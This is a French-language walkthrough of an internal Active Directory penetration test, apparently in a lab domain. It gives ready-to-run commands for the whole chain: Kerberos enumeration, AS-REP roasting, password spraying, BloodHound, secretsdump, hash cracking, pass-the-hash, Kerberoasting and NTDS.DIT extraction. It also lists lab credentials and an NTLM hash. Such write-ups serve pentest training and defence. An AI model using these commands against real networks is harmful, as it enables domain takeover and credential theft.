PENTEST AS

1. La méthodologie complète

- Énumération
- Compromission initiale
- Mouvement latéral
- Élévation de privilèges
- Compromission du domaine

Exemple

- Énumération réseau + LDAP + Kerberos
- Compromission d'un compte
- Reconnaissance AD
- Mouvement latéral : Pass-the-Hash, SecretsDump
- Élévation : Kerberoasting
- Compromission finale : NTDS

2. Vulnérabilités AD pertinentes

- SMB signing
- Kerberoasting
- Password spraying
- Description LDAP
- NTLM relay
- LAPS
- NTDS
- SPN

3. Outils + commandes + résultats

4. Capacité à expliquer la méthodologie

```
`Découverte réseau`

`→ Kerberos`

`→ premier compte`

`→ Bloodhound`

`→ Password spray`

`→ SMB`

`→ PTH`

`→ Kerberoast`

`→ Domain Admin`
```

Chaque étape découle de la précédente.

Élément	Rapport
Structure méthodologique	Très progressive (kill chain réaliste)
Découverte réseau	Nmap avec ACK/SYN ciblés AD
Scan services	`-sV -sC -p-` avec analyse AD poussée
LDAP anonyme	Testé explicitement
Énumération Kerberos	`krb5-enum-users`, AS-REP
BloodHound	Utilisé réellement
Password spraying	Utilisation méthodique NetExec
Mouvement latéral	SecretsDump + Pass-the-Hash
Escalade	Kerberoasting + hash NTLM + DCC2
Fin de chaîne	NTDS.DIT + KRBTGT

Chaîne d'attaque :

```
`Nmap`

`↓`

`Kerberos enum`

`↓`

`compte utilisateur test:test`
```

```
`↓`

`BloodHound`

`↓`

`LDAP`

`↓`

`Password Spray`

`↓`

`SMB Shares`

`↓`

`SecretsDump`

`↓`

`Pass-the-Hash`

`↓`

`Kerberoasting`

`↓`

`Domain Admin`

`↓`

`NTDS`


`Nmap`

` ↓`

`SMB / LDAP / Kerberos enum`

` ↓`

`Password Guessing`

` ↓`

`BloodHound + LDAP`

` ↓`
```

````
`Password Spray`

` ↓`

`SMB Shares`

` ↓`

`SecretsDump`

` ↓`

`Pass-the-Hash`

` ↓`

`Kerberoasting`

` ↓`

`Password Spray final`

` ↓`

`Domain Admin`

` ↓`

`NTDS.DIT`



**`Exemple :`**


`Résumé de la méthodologie utilisée dans un pentest Active Directory avec les principales commandes associées : Le scénario suit une progression réaliste d'attaquant interne : découverte → accès initial → reconnaissance → mouvement latéral → compromission du domaine.`

### `1. Énumération réseau`

`Objectif : identifier les hôtes actifs et les services exposés.`

**`Découverte des machines :`**

```zsh
`nmap -sn -PA445,139,135,389 -PS445,139,135,389 10.250.0.0/24`
````

Scan complet des services :
````

```
`nmap -Pn -sV -sC -p- -T4 10.250.0.101 10.250.0.112 10.250.0.117 --open`
```

Identification :

- Contrôleur de domaine
- Serveur de fichiers
- Poste client
- Services SMB, LDAP, Kerberos, WinRM, RDP...

Configuration DNS :

```
`sudo nano /etc/resolv.conf`

`nameserver 10.250.0.101`
```

Tentatives d'énumération anonyme

Objectif : récupérer des informations sans compte.

SMB Null Session :

```
`enum4linux -a 10.250.0.101`
```

LDAP anonyme :

```
`ldapsearch -x -H ldap://10.250.0.101 -b "DC=travers,DC=ic"`
```

Échec sur les deux méthodes.

3. Énumération Kerberos

Objectif : découvrir des utilisateurs valides sans authentification.

Recherche d'utilisateurs :

```
`nmap -p 88 --script krb5-enum-users \\`

`--script-args krb5-enum-users.realm='travers.ic',userdb=/tmp/users.txt \\`

`10.250.0.101`
```

Recherche AS-REP Roasting :

```
**`impacket-GetNPUsers** travers.ic/ \\`

`-no-pass \\`

`-usersfile users.txt \\`

`-dc-ip 10.250.0.101`
```

Comptes découverts : administrator, test, backup.

Compromission du premier compte

Objectif : obtenir un premier accès.

Password guessing :

```
**`nxc smb** 10.250.0.101 -u test -p test`
```

Compte compromis :

```
`test:test`
```

Premier accès authentifié obtenu.

Reconnaissance Active Directory

Objectif : cartographier l'environnement et trouver des faiblesses.

Collecte BloodHound :

```
`bloodhound-python** \\`

`-u test \\`

`-p test \\`

`-d travers.ic \\`

`-ns 10.250.0.101 \\`

`-c all`
```

Recherche LDAP :

```
**`ldapsearch** \\`
`-x \\`
`-H ldap://10.250.0.101 \\`
`-D "test@travers.ic" \\`
`-w test \\`
`-b "DC=travers,DC=ic" \\`
`"(&(objectClass=user)(description=\*))"`
```

Découverte d'un mot de passe dans une description LDAP.

Politique de mot de passe :

```
**`nxc smb** 10.250.0.101 \\`
`-u test \\`
`-p test \\`
`-d travers.ic \\`
`--pass-pol`
```

Password spraying

Objectif : tester la réutilisation des mots de passe.

Validation :

```
**`nxc smb** 10.250.0.101 \\`
`-u amaillot \\`
`-p SupportTraversic`
```

Spray :

```
**`nxc smb **10.250.0.101 \\`
`-u allusers.txt \\`
```

```
`-p SupportTraversic \\`

`--continue-on-success`
```

Plusieurs comptes compromis.

7. Énumération SMB

Objectif : chercher des fichiers sensibles.

Partages :

```
**`nxc smb **10.250.0.112 \\`

`-u amaillot \\`

`-p SupportTraversic \\`

**`--shares`**
```

Exploration :

```
`smbclient //10.250.0.112/data \\`

`-U amaillot%SupportTraversic`
```

Découverte d'identifiants dans un script PowerShell.

Mouvement latéral

Objectif : étendre l'accès.

Extraction de secrets :

```
**`impacket-secretsdump** \\`

`travers.ic/pbegue:'SupportTraversic'@10.250.0.117`
```

Crack DCC2 :

```
**`hashcat** -m 2100 hash.txt rockyou.txt`
```

Pass-the-Hash :

```
**`nxc smb** 10.250.0.112 \\`
`-u Administrator \\`
`-H d44b8cdb2eedffce8a3fbc78e081e274 \\`
`--local-auth`
```

Le même hash admin local fonctionne ailleurs (absence de LAPS).

Kerberoasting

Objectif : extraire des tickets Kerberos puis casser les mots de passe hors ligne.

Récupération :

```
**`impacket-GetUserSPNs** \\`
`travers.ic/scolin:'M3dic3xP4ssw0rd' \\`
`-dc-ip 10.250.0.101 \\`
**`-request \\`**
`-outputfile kerberoast.txt`
```

Crack :

```
`hashcat -m 13100 kerberoast.txt rockyou.txt`
```

Deux mots de passe trouvés.

Compromission finale du domaine

Objectif : obtenir Domain Admin.

Password spraying final :

```
**`nxc smb **10.250.0.101 \\`
`-u users.txt \\`
`-p passwords.txt \\`
`--continue-on-success`
```

Compromission du compte administrateur.

Extraction complète AD :

```
**`impacket-secretsdump** \\`

`travers.ic/administrator:'P4ssw0rd'@10.250.0.101`
```

Récupération NTDS.DIT + hash KRBTGT → contrôle complet du domaine.

Schéma synthétique :

```
`Nmap`

` ↓`

`SMB / LDAP / Kerberos enum`

` ↓`

`Password Guessing`

` ↓`

`BloodHound + LDAP`

` ↓`

`Password Spray`

` ↓`

`SMB Shares`

` ↓`

`SecretsDump`

` ↓`

`Pass-the-Hash`

` ↓`

`Kerberoasting`

` ↓`

`Password Spray final`

` ↓`
```

```
`Domain Admin`

` ↓`

`NTDS.DIT`
```

Cette chaîne suit une logique typique de pentest interne Active Directory : accès initial faible → abus de mauvaises pratiques → escalade progressive jusqu'au contrôle total du domaine.